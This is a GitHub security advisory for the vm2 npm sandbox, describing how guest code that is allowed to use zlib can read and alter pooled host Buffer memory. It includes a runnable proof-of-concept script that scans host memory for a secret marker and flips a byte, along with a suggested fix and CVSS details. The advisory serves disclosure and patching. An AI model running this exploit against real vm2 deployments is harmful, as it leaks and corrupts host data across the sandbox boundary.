Skip to content

vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary

Moderate severity GitHub Reviewed Published Sep 8, 2026 in patriksimek/vm2 • Updated Oct 5, 2026

Package

npm vm2 (npm)

Affected versions

<= 3.12.1

Patched versions

3.12.2

Description

Summary

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

Technical Details

NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.

The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.

PoV

The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.

const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
  let equal = true;
  for (let index = 0; index < markerCodes.length; index += 1) {
    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
  }
  if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
  route: {
    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
    deflateSyncReturnedBuffer: Buffer.isBuffer(result),
    returnedBufferShape: !!result && !!result.buffer,
  },
  resultLength: result.length,
  resultBackingLength: result.buffer.byteLength,
  viewLength: view.length,
  fullBackingStoreView: view.byteOffset === 0
    && view.length === result.buffer.byteLength
    && view.buffer.byteLength === result.buffer.byteLength,
  markerHits,
  firstMarker,
};

PoC

Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.

npm install vm2@3.11.8
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';

const { NodeVM } = require('vm2');

const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];

for (let index = 0; index < 192; index += 1) {
  const buffer = Buffer.allocUnsafe(64);
  buffer.fill(0x41);
  const markerOffset = index % (buffer.length - markerCodes.length + 1);
  markerCodes.forEach((byte, byteIndex) => {
    buffer[markerOffset + byteIndex] = byte;
  });
  retained.push({ buffer, markerOffset });
}

const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) => before.some((bytes, index) =>
  bytes.some((byte, byteIndex) => byte !== after[index][byteIndex]));
const mode = process.argv[2] || 'attack';
const input = process.argv[3] || 'hello';
const before = snapshot();
const vm = new NodeVM({ require: { builtin: ['zlib'] } });

if (mode === 'control') {
  const control = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(Buffer.from('hello'));
    const local = Buffer.allocUnsafe(1);
    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      exactSize: local.byteOffset === 0
        && local.buffer.byteLength === local.length
        && view.byteOffset === 0
        && view.length === local.length
        && view.buffer.byteLength === local.length,
    };
  `, 'zlib-buffer-case-a.js');
  const passed = control.route && control.exactSize && !changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));
} else {
  const attack = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(${JSON.stringify(input)});
    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};
    let firstMarker = -1;
    for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
      if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) {
        firstMarker = offset;
        break;
      }
    }
    if (firstMarker >= 0) view[firstMarker] ^= 0xff;
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      fullView: view.byteOffset === 0
        && view.length === result.buffer.byteLength
        && view.buffer.byteLength === result.buffer.byteLength,
      poolIsWider: result.buffer.byteLength > result.length,
      markerFound: firstMarker >= 0,
    };
  `, 'zlib-buffer-case-b.js');
  const passed = attack.route && attack.fullView && attack.poolIsWider
    && attack.markerFound && changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));
}
{"mode":"attack","result":"violation"}
{"mode":"control","result":"pass"}

The attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.

The reproduction is tested against vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164; package metadata at that revision identifies vm2 3.11.8.

Impact

An affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist zlib. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.

Suggested Fix

Before any host-builtin return value is exposed to the guest, apply depoolBuffer or an equivalent owned-copy wrapper to every returned Buffer. The delivered buffer should satisfy byteOffset === 0 and buffer.byteLength === length; intentionally supported ArrayBuffer sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.

Add a regression test that allowlists zlib, calls deflateSync, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.

Affected Package/Versions

  • Package: vm2 from npm.
  • Tested affected source revision: 91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Package metadata at that revision: 3.11.8.
  • Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.
  • Affected range: only the exact tested revision is asserted; no broader release range is established here.

Advisory History

The public GHSA-fcqc-726x-5wfc advisory documents shared small-buffer-pool exposure through sandbox-facing Buffer factories. The checked public fix is commit 4f2508abeb252aa86eb6761c78b3b000248fb089, titled fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool; its change applies the backing-store ownership rule to those factories, not to the zlib host-builtin return path demonstrated here.

The exact GHSA-fcqc-726x-5wfc commit search also returned 5214b02ef13b82497fcb917b45320dfd014ffd09, whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for zlib Buffer pool issues returned no independent match, and the corresponding zlib Buffer pool pull-request search also returned no independent match.

Prior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.

This finding is therefore distinct in fix surface: zlib is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/Reflect.apply handling, and process-global FIPS state.

References

@patriksimek patriksimek published to patriksimek/vm2 Sep 8, 2026
Published to the GitHub Advisory Database Oct 5, 2026
Reviewed Oct 5, 2026
Last updated Oct 5, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity Low
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

CVE ID

CVE-2026-100723

GHSA ID

GHSA-489w-w794-jq94

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.